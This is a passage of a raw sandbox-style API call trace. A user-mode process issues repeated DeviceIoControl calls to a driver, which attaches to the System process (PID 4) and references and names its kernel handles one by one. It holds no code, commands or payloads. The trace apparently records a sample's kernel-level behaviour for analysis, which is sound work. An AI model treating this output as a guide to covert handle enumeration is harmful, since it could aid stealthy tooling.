ApcState=0xfffff880054f85d0) [0063.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0063.113] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.113] PsReleaseProcessExitSynchronization () returned 0x2 [0063.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.113] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.113] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0063.113] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.113] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.113] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0063.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.114] PsAcquireProcessExitSynchronization () returned 0x0 [0063.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0063.114] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.114] PsReleaseProcessExitSynchronization () returned 0x2 [0063.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.114] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.114] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0063.114] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.114] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.114] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0063.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.114] PsAcquireProcessExitSynchronization () returned 0x0 [0063.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0063.114] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.114] PsReleaseProcessExitSynchronization () returned 0x2 [0063.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.114] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.114] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0063.114] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.114] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.114] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0063.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.114] PsAcquireProcessExitSynchronization () returned 0x0 [0063.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.114] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0063.114] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.114] PsReleaseProcessExitSynchronization () returned 0x2 [0063.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.114] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.115] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0063.115] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.115] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.115] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0063.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.115] PsAcquireProcessExitSynchronization () returned 0x0 [0063.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.115] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0063.115] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.115] PsReleaseProcessExitSynchronization () returned 0x2 [0063.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.115] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.115] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0063.115] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.115] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.115] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0063.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.115] PsAcquireProcessExitSynchronization () returned 0x0 [0063.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.115] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0063.115] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.115] PsReleaseProcessExitSynchronization () returned 0x2 [0063.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.115] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa80038e7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.115] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0063.115] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.115] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.115] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0063.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.115] PsAcquireProcessExitSynchronization () returned 0x0 [0063.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.115] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0063.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.116] PsReleaseProcessExitSynchronization () returned 0x2 [0063.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.116] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.116] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0063.116] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.116] PsAcquireProcessExitSynchronization () returned 0x0 [0063.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.116] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0063.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.116] PsReleaseProcessExitSynchronization () returned 0x2 [0063.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.116] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.116] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0063.116] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0063.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.116] PsAcquireProcessExitSynchronization () returned 0x0 [0063.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.116] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0063.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.116] PsReleaseProcessExitSynchronization () returned 0x2 [0063.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.116] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.116] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0063.116] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0063.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.117] PsAcquireProcessExitSynchronization () returned 0x0 [0063.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.117] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0063.117] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.117] PsReleaseProcessExitSynchronization () returned 0x2 [0063.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.117] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.117] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0063.117] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.117] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.117] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.117] PsAcquireProcessExitSynchronization () returned 0x0 [0063.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.117] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0063.117] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.117] PsReleaseProcessExitSynchronization () returned 0x2 [0063.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.117] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.117] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0063.117] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.117] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.117] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.117] PsAcquireProcessExitSynchronization () returned 0x0 [0063.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.117] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0063.117] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.117] PsReleaseProcessExitSynchronization () returned 0x2 [0063.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.118] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.118] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0063.118] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.118] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0063.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.511] PsAcquireProcessExitSynchronization () returned 0x0 [0063.511] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.511] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0063.511] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.511] PsReleaseProcessExitSynchronization () returned 0x2 [0063.512] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.512] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.512] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0063.512] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0063.512] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.512] PsAcquireProcessExitSynchronization () returned 0x0 [0063.512] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.512] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0063.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.512] PsReleaseProcessExitSynchronization () returned 0x2 [0063.512] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.512] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.512] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0063.512] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0063.512] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.512] PsAcquireProcessExitSynchronization () returned 0x0 [0063.512] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.512] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0063.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.512] PsReleaseProcessExitSynchronization () returned 0x2 [0063.512] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.512] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.512] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0063.512] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0063.512] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.513] PsAcquireProcessExitSynchronization () returned 0x0 [0063.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.513] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0063.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.513] PsReleaseProcessExitSynchronization () returned 0x2 [0063.513] ObfDereferenceObject (Object=0xfffffa8001850990) 